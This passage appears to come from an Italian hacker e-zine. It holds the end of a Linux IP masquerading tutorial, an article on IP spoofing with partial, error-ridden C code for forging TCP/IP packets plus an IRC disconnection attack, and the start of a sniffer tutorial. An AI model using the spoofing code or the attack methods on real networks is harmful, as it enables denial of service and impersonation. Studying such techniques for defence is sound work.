intero network ricorda che computer richiede che pacchetto. Qualcosa tipo:
=>Io sono 10.0.0.2 e voglio contattare 1.2.3.3
->Io sono 10.0.0.1 e io processerò la tua richiesta
->Io sono 14.1.1.4 e voglio contattare 1.2.3.3
_>Io sono 1.2.3.3 e stò aspettando tuoi comandi
Io spero che questo vi chiarisca le idee. Cosi un server mascherato da il suo ip nell'ordine per gli altri pc presi dalla rete. E i
pacchetti entranti vengono filtrati wotto il network 10.0.0.X

4 Preparare il tuo sistema

Io suppongo che voi tutti avete un computer con un sistema Linux installato e che abbiate configurato il vostro internet account
(se non l'avete ancora fatto, guardate le pagine d'aiuto del provider). Presuppongo anche che sappiate alcune basi di Linux, come
per esempio la ricompilazione del kernel. Questo intero sito è solamente valido se avete un kernel 2.2.X o superiore. Se non
avete un kernel 2.2.X suggerisco di farvi l'upgrade del kernel (www.kernel.org per i sorgenti del kernel da compilare). Questo
perchè i vecchi kernel contengono bugs, non supportano l'hardware nuovo e rendono il vostro sistema molto vulnerabile agli
attacchi. Ora vi esporrò brevemente le basi del kernel:
GoMoRRaH@SaTaN GoMoRRaH]$ mv mykernel.tar.gz /usr/src/
[GoMoRRaH@SaTaN GoMoRRaH]$ cd /usr/src
[GoMoRRaH@SaTaN src]$ rm linux (rimuovete il link simbolico dei vostri vecchi sorgenti)
[GoMoRRaH@SaTaN src]$ tar -zxvf mykernel.tar.gz
(il tuo kernel verrà estratto)
[GoMoRRaH@SaTaN src]$ cd linux
[GoMoRRaH@SaTaN linux]$ make menuconfig
(potete scegliere, scrivendo: make config per l'installazione testuale, make menuconfig per quella grafica, e scrivete: make xconfig sotto X-window)
Ora potete vedere tutte le opzioni che potete usare, questo è differente per ciascun sistema. Ma come sempre voi
avete da selezionare dei moduli particolari da installare, vediamo quali:
=> Prompt for development and or incomplete code / drivers
=>Enable loadable module support
=>Networking support
=>Network firewalls
=>TCP/IP Networking
=>IP:forwarding/gatewaying
=>IP:firewalling
=>IP:masquerading
=>IP:ipportfw masq support
=>IP:ipautofw masq support
=>IP:ICMP masquerading
=>IP:always defragment
=>Dummy net driver support
=>IP:ip fwmark masq-forwarding support
Notate che queste opzioni servono per il Mascheramento IP. Quando avrai finito dovrei salvare le modifiche.
I seguenti comandi per la compilazione richiedono da 10 a 40 minuti, e ti mostreranno molti caratteri
incomprensibili sullo schermo, non ti preoccupare, è normale.
GoMoRRaH@SaTaN linux]$ make dep
[GoMoRRaH@SaTaN linux]$ make clean
[GoMoRRaH@SaTaN linux]$ make bzImage
[GoMoRRaH@SaTaN linux]$ cp /usr/src/linux/arch/i386/boot/bzImage /boot/kernel
[GoMoRRaH@SaTaN linux]$ make modules

[GoMoRRaH@SaTaN linux]$ make modules_install
A questo punto devi editare il /etc/lilo.conf file. Devi metterci qualcosa che ti piace
image=/boot/kernel
label=masqkernel
root=/dev/hdax (rimpiazza questo con il tuo root filesystem, harddisk, partizione, etc.)
read-only
Questo permetterà al tuo boot manager di riconoscere il tuo nuovo kernel all'avvio del pc. La prossima volta
che vedrai il promt di lilo (o grub) dovrai fare il masqkernel.
[GoMoRRaH@SaTaN linux]$ lilo
added linux-2.2.5-15 *
added dos
added masqkernel
Ora dovresti editare il /etc/rc.d/rc.local file cosi i moduli necessari saranno caricati automaticamente al boot del sistema
.
.
/sbin/depmode -a
/sbin/modprobe ip_masq_ftp
/sbin/modprobe ip_masq_raudio
/sbin/modprobe ip_masq_irc
.
.
Questi moduli sono necessari per ftp, real audio e irc. Questa è l'unica cosa da fare inoltre è riavviare è quella di abilitare l'IPV4 forwarding.
[GoMoRRaH@SaTaN linux] echo "1" > /proc/sys/net/ip_forward(ing) Ora devi riavviare il tuo sistema con il tuo nuovo kernel,
guarda se tutto nel boot è andato correttamente, se qualcosa è andato sbagliato rifai tutto daccapo, e non ti preoccupare,
la ricompilazione del kernel è per tutti difficile la prima volta.

5 Avviare il Mascheramento

Infatti non è molto difficile quando tu hai il tuo kernel. Ora, per dialogare col tuo provider devi settare la tua
forwarding policies (polizza di instradamento) in questo modo:
[GoMoRRaH@SaTaN GoMoRRaH]$ ipchains -P forward DENY
[GoMoRRaH@SaTaN GoMoRRaH]$ ipchains -A forward -s 10.0.0.0/4 -j MASQ
Nell'ordine per questo lavoro sul tuo network locale l'unica cosa che hai da aggiustare è il parametro -s parametro.
10.0.0.0 è il tuo indirizzo di network e il 4 è il più alto indirizzo ip che viene mascherato. Il tuo server ora dovrebbe andare.
Eh si, è davvero cosi, tu hai molta teoria e molta preparazione con il tuo kernel, e ti sono bastate 2 linee di comando per far andare il tuo server.

6 Configurare i tuoi client

Tu hai un server, ma cos'è un server senza client? Cos'è un supermercato senza i prodotti? C'è solo una piccola

cosa che dovresti fare se non l'hai già fatta: configurare i client in modo che sfruttino come gateway

l'ip del server (nel nostro caso 10.0.0.1). Le opzioni per il configuramento sono facili da trovare, per cui non dovreste avere problemi con i client.

Testo originale di GoMoRRaH, membro della Black Sun Research Facility (http://blacksun.box.sk)
Testo tradotto da Net-Destroyer

Net-Destroyer & The Last Clan of True Hackers Crew
e-mail: net_destroyer@hotmail.com
http://digilander.iol.it/truehackers
http://www.demonseyecrew.cjb.net
IRC: server irc.oltrelinux.com canale #checkmate col nick Net-Destroyer

Dedicated to: TheFireAngel (ma c'è l'hai su con quei menù in java? =), TheSysFucker(non disperare se vai male a scuola,
è il destino, che ci vuoi fare =), Heretic1000 (hai una voce satanica amico mio :),LordSpirit(non ti vedo mai in
irc cavolina),Bluangel (Bluuuuuuuuuuuu, ma dove 6 finita???), DoS (quando è che lo montiamo l'irc server? :),
TinoSpider (fra un pò mi tocca metterti cfounder nel canale :),oVERDRIVE (e meno male che non monti bot sulle
shell ke hakki, hai una botnet ke fà paura), SPYRO (sai ke non ti ho mai visto sputare fuoco =), a BlackMan
(mai visto un webmaster migliore di te), ad alexandro (come vanno gli esami all'università? :),
alla Veninside Crew (www.veninside.cjb.net), alla demonseyecrew, a josh (mi devi spiegare come si accende un pc, me l'hai promesso =), a darkangel999 (e tu saresti quello ke hakka la nasa tre volte al giorno?
Ma fammi il piacere :), a tutti quelli di #ahccc (ma perkè mi mettete sempre nel vostro topic? :),
a quelli di #debian, in particolare Fata e debiAn,a devajl (il miglior programmatore d'Italia), a CrOsTInO
(hehehe, com'è il libro che ti 6 comprato? Ricordati di passarmelo quando lo hai finito :),
e a tutti quelli ke mi fanno i riti wodoo per proteggermi =)

Fuck to:
NERvOus (sarai anche l'admin di oltrelinux.com, ma resti pur sempre una merda se paragonato a me =), a BOFH (e tu saresti un Bastar Operator From Hell? Per me sei una testa di fungo e basta =), a dibellas (che cazzo mi kikki ogni volta solo perkè entro nel chan e non parlo???), e ad Afree che prima o poi li distruggo la sua botnet.

kill -9 Net-Destroyer
Nessuno riuscirà mai a killarmi =)
Byez

-=!!!|-TiPi Di AtTaCcHi Al TcP-iP-|!!!=-

Autore: davser
Info: davser@tin.it - http://davser.cjb.net - ICQ 19930061

Questo articolo e' una raccolta di testi sull'attacco al TCP/IP oltre a qualcosa di mio. Ho attinto da varie riviste, libri, ecc. quindi non mailatemi dicendo che avete gia' letto queste cose da altre parti!

OK, cominciamo...

Il protocollo TCP/IP, dalla sua comparsa ad oggi, e' stato analizzato dal punto di vista della sicurezza, delle performance, dell'ottimizzazione e degli stati indefiniti in maniera molto profonda. Nel corso del tempo varie vulnerabilita' sono state scoperte, sia nel protocollo in se', che nelle varie implementazioni disponibili (ossia gli stack TCP/IP dei sistemi operativi). Tuttavia, una implementazione ben pensata del TCP/IP, e' ancora in grado di fornire buoni livelli di sicurezza nel caso in cui siano state prese tutte le precauzioni necessarie.

****L'IP spoofing attack*****

Per chi si avvicina al mondo della sicurezza, l'attacco conosciuto come "IP spoofing" e' spesso fonte di confusione. L'equivoco sta nel fatto che col termine "IP spoofing" si indicano due attacchi distinti: il primo consiste nello spedire dei pacchetti IP aventi l'indirizzo sorgente contraffatto, l'altro nell'utilizzo del primo attacco per costruirne uno piu' complesso, conosciuto come "blind spoofing", ovvero spoofing alla cieca. Qui vedremo in dettaglio il primo dei due attacchi.
L'IP spoofing e' una tecnica che consiste nell'inviare dei pacchetti opportunamente 'modificati' per far credere al destinatario, che gli stessi arrivino da tutt'altra parte e, quindi, per rendersi 'anonimi' (o meglio spacciarsi per qualcun altro) agli occhi della "vittima". Questo si ottiene modificando l'indirizzo IP sorgente(source IP) nell' header (intestazione) del pacchetto (datagramma IP). L'IP spoofing viene utilizzato per molti attacchi sia di tipo D.o.S. (Denial of Service, attacchi che possono mettere fuori uso, bloccare o rallentare il sistema momentaneamente... fastidioso ma non provoca danni gravi), sia per il tipico Hacking (attacchi molto piu' interessanti che possono permettere di guadagnare particolari accessi nei sistemi) e utilizzato sia in modo diretto (attaccando cioe' direttamente il sistema che riceve i pacchetti spoofati), sia in modo indiretto (sfruttando cioe' le risposte che la macchina destinataria dello spoof invia al presunto mittente). Gli attacchi D.o.S. che si possono realizzare cmq sono molti: dai vari flood (syn flood, rst flood) al click, al boink ecc.
Oppure, se proprio si vuole avere la comunicazione bilaterale, si potrebbe tentare di instaurarla alla ceca, cercando di prevedere le varie risposte della vittima ai nostri pacchetti, e rispondendo a nostra volta in modo adeguato (assicurandoci pero' che l'IP da noi spoofato sia in quel momento irraggiungibile e non possa quindi rispondere anche lui alla vittima (che, sta inviando pacchetti all'indirizzo da noi spoofato).
Uno schemino chiaro che riassume l'IP spoofing (e si trova su praticamente tutti i documenti che trattano IP spoofing), e' all'incirca questo:

```
host A <---------------->X<--------------> host B
                         |
host S  ---------------->/
```

in cui: noi siamo host S, il bersaglio del nostro attacco e' host B e il e l'indirizzo sorgente che metteremo nell'header dei pacchetti al posto del nostro, corrisponde all'indirizzo di host A. Come si puo' realizzare lo spoofing? Be' per farvi un idea, un programma che lo realizza e che probabilmente avrete utilizzato qualche volta e' il famoso Click della 7th sphere... che fa esattamente questo:

Ipotizziamo un tipico attacco D.o.S. da lamer in IRC. Secondo lo schemino che c'e' li sopra: se noi siamo host S e vogliamo disconnettere host B dal server IRC host A (un server a caso irc.tin.it hihihi) che facciamo? Impostiamo il Click con i giusti dati e scegliamo tra il modo client side oppure server side, quindi lanciamo l'attacco. Mettiamo di aver scelto l'attacco client side....
Succede che il Click comincia a mandare a host B pacchetti ICMP spoofati aventi come indirizzo sorgente host A (server IRC) e come contenuto una frase del tipo "Sono Esploso!!". ("host unreachable") Host B (vittima) a questo punto riceve questa 'lettera/pacchetto' proveniente da Host A (server IRC), legge il messaggio e realizza che host A (server IRC) e' esploso .. quindi pensa: "che cavolo ci rimango connesso a fare a un indirizzo di server che non c'e' piu' perche' e' esploso?" a questo punto si disconnette. L'attacco e' realizzato, host B e' disconnesso da IRC. Nel caso avessimo scelto il modo di attacco server side, il procedimento e' uguale ma i pacchetti vengono mandati a host A (server IRC) e provenienti da host B (vittima), quindi e' il server IRC che scollega host B credendolo 'esploso'. Questo e' solo un esempio di attacco. In effetti, sfruttare appieno l'IP spoofing (anche per cercare di far qualcosa
in piu' dei tipici D.o.S.), significa soprattutto potersi costruire i pacchetti da inviare, su misura.. a seconda del tipo di attacco che vogliamo realizzare. Questo risulta piu' facile da ottenere ad esempio su sistemi Linux che su Winzozz 9x, pero' per questi ultimi potreste utilizzare programmi appositi (ad esempio exploit generator) che funzionano abbastanza bene.

Come si fa a mandare un pacchetto spoofato?

Beh, ci sono modi e modi. Da Unix & Company e' molto facile: basta creare un socket RAW (un socket *molto* grezzo) e lavorarlo mettendoci sopra degli header IP e TCP (ma anche UDP o ICMP) non standard, cioe' come quelli che si trovano nelle librerie net*. Infatti, nel nostro header IP dovremmo mettere anche l'ip del mittente, cosa che invece con le normali funzioni di sending viene automaticamente fatta dal protocollo usato.
In principio si crea un bell'header ip tipo:

```
struct ipheader {
  unsigned char verlen, tos; //versione+lunghezza header, tipo
  unsigned short lenght, identification, flageoffset; //lunghezza, id, flags+offset
  unsigned char ttl, protocol; //time to live, protocollo utilizzato
  unsigned long int source, destination; //indirizzo ip sorgente, destinazione
};
```

ecco, bello vero?
Se esaminate attentamente vedrete:

* un char (8 bit) che include sia la versione ip che la lunghezza dello header (contenitori a 4 bit non li so trovare io in c...)

* un char (8 bit) per il tipo di servizio (TOS)

* uno short (16 bit) per la lunghezza, uno per l'identificazione e uno che include i 3 bit dei flag e i 13 del fragment offset

* un altro char per il time to live, ovvero su quanti server pu• passare prima di fermarsi

* un altro char che identifica il protocollo

* due long (32 bit) che identificano l'ip sorgente e quello di destinazione

Per agevolarci ora creeremo uno pseudo ip header:

```
struct pseudoipheader {
```

```
  unsigned long int source, destination;
  char byte_zero, protocol;
  unsigned short TCP_UDP_lenght;
};
```

qui abbiamo l'ip sorgente, destinazione, il byte zero, il protocollo utilizzato e la lunghezza del tcp o dell'udp.
Ora veniamo ai protocolli TCP e UDP:

```
struct tcpheader {
  unsigned short source, destination;
  unsigned long int seq, ack;
  unsigned short offset_flags, window, checksum, urgent;
};
```

da notare che i source e i destination sono non degli indirizzi, ma delle porte (short a 16 bit), qui dovete mettere la porta sorgente e quella destinazione, insomma. Poi c'e' il SEQ e l'ACK, interi a 32 bit, e infine abbiamo l'header lenght + reserved + flags, window, il checksum e l'urgent pointer. Ecco qui anche quello dell'udp, giusto per facilitarvi la vita :)

```
struct udpheader {
  unsigned short source, destination, lenght, checksum;
}
```

Tutto chiaro no? E per finire si crea uno struct di scambio di dati spoofati, anche questo per facilitarci la vita...

```
struct spdataexchange {
  int fd;
  char *data;
  int datalen;
  char *source;
  unsigned short sourceport;
  char *destination;
  unsigned short destinationport;
  unsigned long seq, ack;
  unsigned short flags;
  char *buffer;
  int ip_optlen, tcp_optlen;
}
```

In questo struct copieremo i dati ip e tcp e tutto il resto, per poi scriverlo sul pacchetto da inviare... Ora, come facciamo ad inviare un pacchetto??? Creeremo una funzione detta sendsppacket:

```
void sendsppacket(struc spdataexchange *sp, unsigned char protcollo)
{
  int sp_status;
  struct sockaddr_in *sp_serv;
  struct hostent *sp_help;
  int HEADER_BASE;
  bzero((char *)&sp_serv, sizeof(struct sockaddr));
  sp_serv.sin_family = AF_INET;
  sp_serv.sin_addr.s_addr = inet_addr(sp->destination);
  if(sp_serv.sin_addr.s_addr==(unsigned int)-1)
  {
    if(!(sp_help=gethostbyname(sp->destination)))
      fprintf(stderr,"unknown host %s\n",sp->destination), exit(1);
    bcopy(sp_help->h_addr,(caddr_t)&sp_serv.sin_addr,sp_help->h_lenght);
  }
  switch(protocollo)
```

```
  {
    case TCP: HEADER_BASE = TCP_HEADER_BASE; break; //Spiego sotto questi passaggi
    case UDP: HEADER_BASE = UDP_HEADER_BASE; break;
    case default: exit(1); break;
  }
  sp_status = sendto(sp->fd, (char *)sp->buffer, sp->datalen+HEADER_BASE+
                  IP_HEADER_BASE+sp->ip_optlen, 0, (struct sockaddr *)&sp_serv,
                  sizeof(struct sockaddr));
  if((sp_status < 0) || (sp_status!=sp->datalen+HEADER_BASE+IP_HEADER_BASE+sp-
>ip_optlen))
  {
    if(sp_status < 0)
      perror("sendto()\n"), exit(1);
    printf("Trasmessi soltanto %d bytes di %d\n", sp_stat, sp-
>datalen+HEADER_BASE+IP_HEADER_BASE+sp->ip_optlen);
  }
}
```

Bene, con questa funzione mandiamo i pacchetti che abbiamo creato... Dopo i procedimenti di routine si tenta di risolvere l'host di destinazione, se non si riesce si esce (splendido gioco di parole...), se invece l'host esiste si copia nel "sp_serv.sin_addr". Poi si vede il protocollo: TCP e UDP ve li definite prima con #define (TCP 6 e UDP 17), se e' tcp l'header_base sara' ovviamente la lunghezza della dimensione minima dell'header tcp(20), se e' udp
quella dell'udp (8) e se e' altro esce :), l'ip e' 20. Poi si manda il pacchetto spoofato realizzato prima, e si vede se il risultato e' positivo o meno, quanti bytes sono stati inviati, eccetera. La lunghezza naturalmente e' la lunghezza dei dati+l'HEADER_BASE definito prima+la lunghezza dell'header ip (20) + la lunghezza delle opzioni ip. 500 righe! Uff! Che fatica... Dovremmo esserci... Per fixare i vostri header IP e TCP, ci sono due pratiche(ALLA FACCIA!) funzioni:

```
void sp_fix_IP_packet(struct spdataexchange *sp, unsigned char protocollo)
{
struct ipheader *sp_help_ip;
int HEADER_BASE;
switch(protocollo)
{
  case TCP: HEADER_BASE = TCP_HEADER_BASE; break;
  case UDP: HEADER_BASE = UDP_HEADER_BASE; break;
  case default: exit(1); break;
}
sp_help_ip = (struct ipheader *)sp->buffer;
sp_help_ip->verlen = (IP_VERSION << 4) | (IP_HEADER_BASE+sp->ip_optlen+sp-
>tcp_optlen);
sp_help_ip->tos = 0;
sp_help_ip->lenght = htons(IP_HEADER_BASE+HEADER_BASE+sp->ip_optlen+sp-
>tcp_optlen+sp->datalen);
sp_help_ip->ID = htons(12545);
sp_help_ip->flageoffset=0;
sp_help_ip->ttl = 69; //miseria! Non deve morire prima del previsto...
sp_help_ip->protocol = protocollo;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->destination);
sp_help_ip->checksum = in_cksum((unsigned short *) (sp->buffer),
                                  IP_HEADER_BASE+sp->ip_optlen);
}
```

Questa e' per l'ip... e' molto intuitiva, e' inutile che ve la spieghi. Attenzione, la funzione sp_getaddrbyname(char *) non ve la scrivo, ve la spiego brevemente: usate un HOSTENT, nel caso in cui l'host debba andare risolto. Se l'host e' gia' numerico, si verifica l'esistenza e si ritorna il valore long della medesima. Se

invece non e' numerico, tentiamo di risolverlo e se ci riusciamo si puo' benissimo ritornare il valore long dell'host, altrimenti si da come risultato 0. Per fixare l'header TCP:

```
void sp_fix_TCP_packet(struct spdataexchange *sp)
{
char *pseudo_ip_construct[1500];
struct tcpheader *sp_help_tcp;
struct pseudoipheader *sp_help_pseudo_ip;
int i;
for(i=0;i<1500;i++)
  pseudo_ip_construct[i]=0;

sp_help_tcp = (struct tcpheader *) (sp->buffer+IP_HEADER_BASE+sp->ip_optlen);
sp_help_pseudo_ip = (struct pseudoipheader *) pseudo_ip_construct;

sp_help_tcp->offset_flags = htons((((TCP_HEADER_BASE+sp->tcp_optlen)/4)<<12) | sp-
>flags);
sp_help_tcp->seq = sp->seq;
sp_help_tcp->ack = sp->ack;
sp_help_tcp->source = htons(sp->sourceport);
sp_help_tcp->destination = htons(sp->destinationport);
sp_help_tcp->window = htons(0x7c00);

sp_help_pseudo_ip->source = sp_getaddrbyname(sp->source);
sp_help_pseudo_ip->destination = sp_getaddrbyname(sp->destination);
sp_help_pseudo_ip->zero_byte = 0;
sp_help_pseudo_ip->protocol = TCP;
sp_help_pseudo_ip->TCP_UDP_lenght = htons(sp->datalen+TCP_HEADER_BASE+sp-
>tcp_optlen);

memcpy(pseudo_ip_construct+12,sp_help_tcp,sp->datalen+TCP_HEADER_BASE+sp->optlen);
sp_help_tcp->checksum = in_cksum((unsigned short *)pseudo_ip_construct,
                                 sp->datalen+12+TCP_HEADER_BASE+sp->tcp_optlen);
}
```

Ecco qua! Ultimo appunto: la in_cksum e' una funzione che potete trovare dappertutto, anche sul ping.c o su uno dei vari nuker... Non mi dilungo anche sull'UDP (ma questa e' discriminazione razziale! :)), anche perche', se conoscete bene il C (spero, altrimenti che avete fatto, avete letto fin qua senza capire un c***o???) e' molto intuitiva da realizzare... Se rimanete nel dubbio, pero', leggetevi i sorgenti di spoofit.h, una libreria che mi ha ispirato non poco. Non ricordo il nome dell'autore, un attimo... Ah, si: Bretch Claerhout.

NOTICINA: se non vi va di scrivervi gli header ip, tcp e/o udp a da soli, li potete semplicemente aggiungere queste righe all'inizio del codice :)

```
#include <netinet/ip.h>   //contiene lo struct per lo header ip
#include <netinet/tcp.h>  //contiene quello per il tcp
#include <netinet/udp.h>  //e quello per l'udp
```

ma se ve l'avessi detto prima avreste potuto comprendere come e' formato un header ip???

I pacchetti IP (il protocollo che si occupa della consegna dei datagrammi) possiedono un campo che contiene l'indirizzo sorgente ed uno che contiente l'indirizzo di destinazione. Ai fini del routing solo il secondo dei due indirizzi ha importanza. E' per questo motivo che in condizioni normali (mancanza di ACL) e' possibile spedire dei pacchetti IP che "sembrano" provenire da un qualunque IP. In altre parole, in mancanza di un protocollo di livello superiore che autentica la

sorgente dei pacchetti IP, e' impossibile essere certi del fatto che l'indirizzo sorgente appartenga effettivamente all'host che li ha spediti. Immaginate un servizio di rete che utilizza il protocollo UDP per eseguire operazioni sul server su cui gira, ad esempio lo shutdown della macchina. Questo fantomatico ed insicuro protocollo (che e' assolutamente di mia fantasia, ma esempi simili si possono trovare in applicazioni reali) aspetta un pacchetto UDP contenente il comando "SHUTDOWN" da un particolare indirizzo, ammettiamo 1.2.3.4: tutti i pacchetti provenienti da altri indirizzi vengono scartati. Se non fosse possibile praticare l'IP spoofing solo l'host 1.2.3.4 sarebbe in grado di eseguire lo shutdown su quel server, di fatto invece chiunque puo' spedire un pacchetto come quello mostrato sotto.

```
---------------------------
|    (INTESTAZIONE IP)    |
| ---------   ----------- |
| |1.2.3.4| - |IP SERVER| |
| ---------   ----------- |
|                         |
|...RESTANTE IP HEADER... |
|                         |
|        SHUTDOWN         |
---------------------------
```

L'esempio, anche se di pura fantasia, mostra chiaramente che affidarsi ad una "trusted-relationship" che si basa sull'indirizzo IP, nel caso di protocolli non connessi, non e' affatto una buona idea. Quale sarebbe il modo corretto di disegnare il nostro shutdown-protocoll? Una delle possibilita' e' quella di cambiare il protocollo in modo che il server, invece di eseguire direttamente il comando, aspetti un pacchetto UDP contenente la stringa "AUTH". Se il pacchetto non proviene da uno degli IP autorizzati non si cura la della richiesta, alrimenti spedisce un pacchetto che contiene un numero pseudo-casuale al client e si mette in attesa di un comando. Il client dovra' rispondere con un pacchetto formato dal numero casuale che ha ricevuto dal server seguito dal comando, ad esempio "2390-SHUTDOWN". Questo protocollo ci salva dall'IP spoofing (nel caso in cui l'attacker non e' posto fisicamente tra il server ed il client, altrimenti ha la possibilita' di leggere il numero randomico e costruire il pacchetto con il comando), ma devono essere prese opportune precauzioni; il generatore dei numeri pseudocasuali deve essere "cryptographycally secure", ovvero possedendo una serie di output R1, R2, R3, RN, l'attacher non deve essere in grado di predire gli elementi successivi della sequenza (la funzione rand(3) della libc non e' un generatore sicuro, e' un generatore lineare congruenziale facilmente predicibile). La seconda condizione e' che il numero pseudo casuale sia abbastanza grande da non permettere all'attacher di montare un attacco di forza bruta in un tempo ragionevole. Come gia' detto, questo protocollo ipotizza che l'attacker, anche se non in grado di spedire pacchetti provenienti dall'indirizzo (ad esempio) 1.2.3.4, non sia in grado di intercettare le risposte che sono dirette all'host 1.2.3.4 (di solito su internet questo e' vero, sulle reti locali il discorso e' diverso). E' per questo che solo il client che possiede il giusto IP sara' in grado di vedere la risposta spedita dal server, contenete il numero pseudo-casuale.

Con tecniche di IP spoofing si riesce facilmente a falsificare l'indirizzo IP di una macchina?
In altre parole: Se faccio il traceroute dell'indirizzo finto, dovrei comunque riuscire a risalire la catena dei router attraversati fino al finto, oppure risalgo la catena fino all'IP vero?
Si fa il traceroute VERO dell'indirizzo FINTO. In teoria, se i vari routers avessero un po' di ingegno, non si potrebbe fare neanche spoofing (o quasi).

In pratica puo' succedere questo:

A(F) ---> B ---> C ---> D

```
                /
F ---> E --->--+
```

A ti manda un pacchetto fingendosi F. B, che controlla la sottorete A, ed in teoria non dovrebbe veder passare pacchetti DA F verso "NON A", invece passa questo strano pacchetto "F verso D". Lo stesso fa C, che "dovrebbe" vedere arrivare i pacchetti di F solo da E (ma C non puo' sapere se F sia anche collegato o no a B). D si vede arrivare un pacchetto da un certo "F" che arriva da "C", di cui si fida e che in passato gli ha mandato pacchetti veri di F.
Un traceroute D-->F rivela: D, C, E, F ... B e A sono rimasti fuori.
E' possibile naturalmente sapere se F stia originando una connessione con D. A non puo' impedirlo. Pero', sapere che quel pacchetto "F->D" e' spoofato non ti fa trovare A.

Se volete maggiori informazioni su l'ip spoofing cercate in rete qualcosa del tipo tcpspoof.txt, oppure sequence_attacks.txt o shimomur.txt.

Nel prossimo numero parleremo di altri tipi di attacchi come l'IP ID attack.

Innanzi tutto ringrazio La Zoa crew per aver scritto alcuni paragrafi di questo tutoria. Ho deciso di occuparmi degli sniffer dato che non trovavo nessun'altro che lo faceva in maniera esaudiente ed anche perche conoscere il funzionamenteo di uno snuiffer è sempre utile.

GLI SNIFFER:

- cos'e' uno sniffer?

Uno sniffer e' un qualsiasi strumento, sia esso un software o un apparato hardware, che raccoglie le informazioni che viaggiano lungo una rete (network). Questa rete puo' utilizzare un protocollo di comunicazione qualunque: Ethernet, TCP/IP (Internet si basa principalmente su questo protocollo), IPX o altri.

Generalmente si utilizzano software sniffer e il termine in questione si riferisce a: 'The Sniffer Network Analyzer', il nome del primo programma di questo tipo, sviluppato dalla Network Associates, Inc. e protetto da trademark. Tuttavia la parola 'sniffer' e' ora di uso comune come 'PC' o 'kleenex' e con essa ci riferiamo a tutti i programmi che implementano quelle stesse funzioni.
Si possono dividere i vari tipi di sniffer in due grandi branche: i prodotti

commerciali che sono rivolti agli amministratori di rete e alla manutenzione interna delle reti stesse e i prodotti sviluppati nell'underground informatico, spesso dotati di un'incredibile varieta' di funzioni ulteriori rispetto ai 'tool' commerciali;
entrambi possono essere utilizzati come mezzo per accedere ad una rete.
Se vogliamo fare una distinzione che non si basi solo sul prezzo del prodotto o sulla sua provenienza, possiamo considerare i software precedenti come un tutt'uno e rapportarli ad applicativi come gli 'analizzatori di rete' (network analyzer) che danno la possibilita' di fare qualche operazione in piu' rispetto al semplice ascolto e archiviazione dei dati di passaggio su una rete, come compilare statistiche sul traffico e sulla composizione dei pacchetti.

Le funzioni tipiche degli sniffer non differiscono di molto e possono essere riassunte sinteticamente in:

* conversione e filtraggio dei dati e dei pacchetti in una forma leggibile dall'utente
* analisi dei difetti di rete, ad es. perche' il computer 'a' non riesce a dialogare con 'b'
* analisi di qualita' e portata della rete (performance analisys), ad es.per scoprire 'colli di bottiglia' lungo la rete
* setacciamento automatizzato di password e nomi di utenti (in chiaro o, piu' spesso cifrati) per successiva analisi
* creazione di 'log', lunghi elenchi che contengono la traccia, in questo caso, del traffico sulla rete
* scoperta di intrusioni in rete attraverso l'analisi dei log del traffico

Pensate ad una rete come ad un paesaggio dinamico, ad esempio un fiume: in esso i pacchetti scorrono liberamente lungo il percorso che offre minor resistenza. Uno sniffer e' l'entita' che immerge le mani nel fiume e filtra i pacchetti tra le sue dita (facendone una copia senza alterare i pacchetti).

- cos'e' una rete locale?

Una rete locale (Local Area Network, LAN) e' un insieme di macchine, di computer, interallacciate entro uno spazio fortemente delimitato sia dal punto di vista fisico che comunicativo: il numero delle macchine e' (quasi sempre) conosciuto ed esse possono comunicare entro canali predefiniti, generalmente rappresentati da connessioni ad alta velocita'.
Ethernet e' probabilmente il protocollo piu' conosciuto e utilizzato per gestire

una LAN.

- il protocollo ethernet:

Nel 1976 Bob Metcalfe e David Boggs, del Palo Alto Research Center (Xerox) presentarono alla comunita' informatica un documento intitolato: 'Ethernet: distributed packet switching for local computer networks'.
L'idea sviluppata dai due ricercatori era destinata a rivoluzionare l'infomatica commerciale; prima dell'introduzione di ethernet, le reti, soprattutto quelle piu' sviluppate erano tutte dipendenti dai mainframe di rete (computer specializzati che suddividevano e instradavano le connessioni) e prima ancora si utilizzava il metodo del time sharing in cui il mainframe addirittura svolgeva anche funzioni di calcolo per il sistema: piu' persone poteva accedere direttamente alle risorse attraverso dei limitati terminali.

Il protocollo ethernet, invece, e' stato sviluppato sul concetto di condivisione: tutte le macchine di una rete locale condividono la stessa connessione, lo stesso cavo, e l'harware che implementa il protocollo ethernet e' costruito in modo da filtrare e ignorare tutto il traffico che non appartiene alla LAN. Questo e' possibile perche' ogni hardware ethernet ignora tutti i frame il cui indirizzo MAC del destinatario non corrisponde al proprio (o ai propri), impedendo alla workstation di accervi.
Uno sniffer puo' eliminare questo filtro e portare cosi' l'harware ethernet in 'promiscuous mode', permettendo alla macchina 'A' di 'vedere' tutto il traffico che intercorre tra 'B' e 'C', sempre che condividano lo stesso cavo/segmento di rete.

Di seguito saranno esposti i concetti di 'pacchetto', 'promiscuous mode' e 'MAC address'.

- cos'e' un pacchetto?

Tutto cio' che viene trasferito e lasciato circolare in una rete e' suddiviso e 'incapsulato' in unita' ben definite chiamate 'pacchetti'; sara' necessaria qualche decina di pacchetti per trasferire questo documento al vostro computer, ad esempio. Ogni pacchetto viene etichettato con un indirizzo IP e/o un indirizzo MAC (di cui discuteremo piu' avanti), che specifica la sua destinazione, e ad esso sono associati altri parametri (header) che serviranno a instradare e 'riassemblare' i pacchetti, operazione compiuta dalla macchina del destinatario.

Poiche' tutto il traffico di una rete deve essere ridotto in pacchetti lo sniffer non deve far altro che raccogliere tale traffico e analizzarlo sia nella sua forma frammentaria che nella sua forma riassemblata, alla ricerca delle informazione cui si mira.

- cosa significa 'promiscuous mode'?

Il termine promiscuous mode si riferisce alla modalita' di configurazione dell''ethernet adapter' in cui e' permesso a tutte le macchine l'ascolto di tutto il traffico di rete, non solo quello proprio.
Un ethernet adapter, o ethernet card, e' l'hardware che permette l'accesso ad una rete tramite questo protocollo; in altre parole, per poter utilizzare un computer connesso ad una rete locale come base per uno sniffer, sara' necessario dotarsi di un software particolare (un promiscuous driver per ethernet card, ad esempio) che permetta la configurazione in promiscuous mode.

Uno sniffer, dunque, non e' altro che un software (o un hardware) che ascolta e non ignora i pacchetti che vengono inviati lungo le connessioni, archiviando poi le informazioni di passaggio su supporti come dischi rigidi o altro (sulla base del volume di traffico che si intende monitorare si potra' optare per la propria RAM, veloce ma poco capiente, oppure supporti che concedano piu' spazio, come l'HD appunto, purtroppo molto piu' lenti ma che permettono un'analisi dei dati da farsi a posteriori con la dovuta calma).

- MAC address e indirizzi IP:

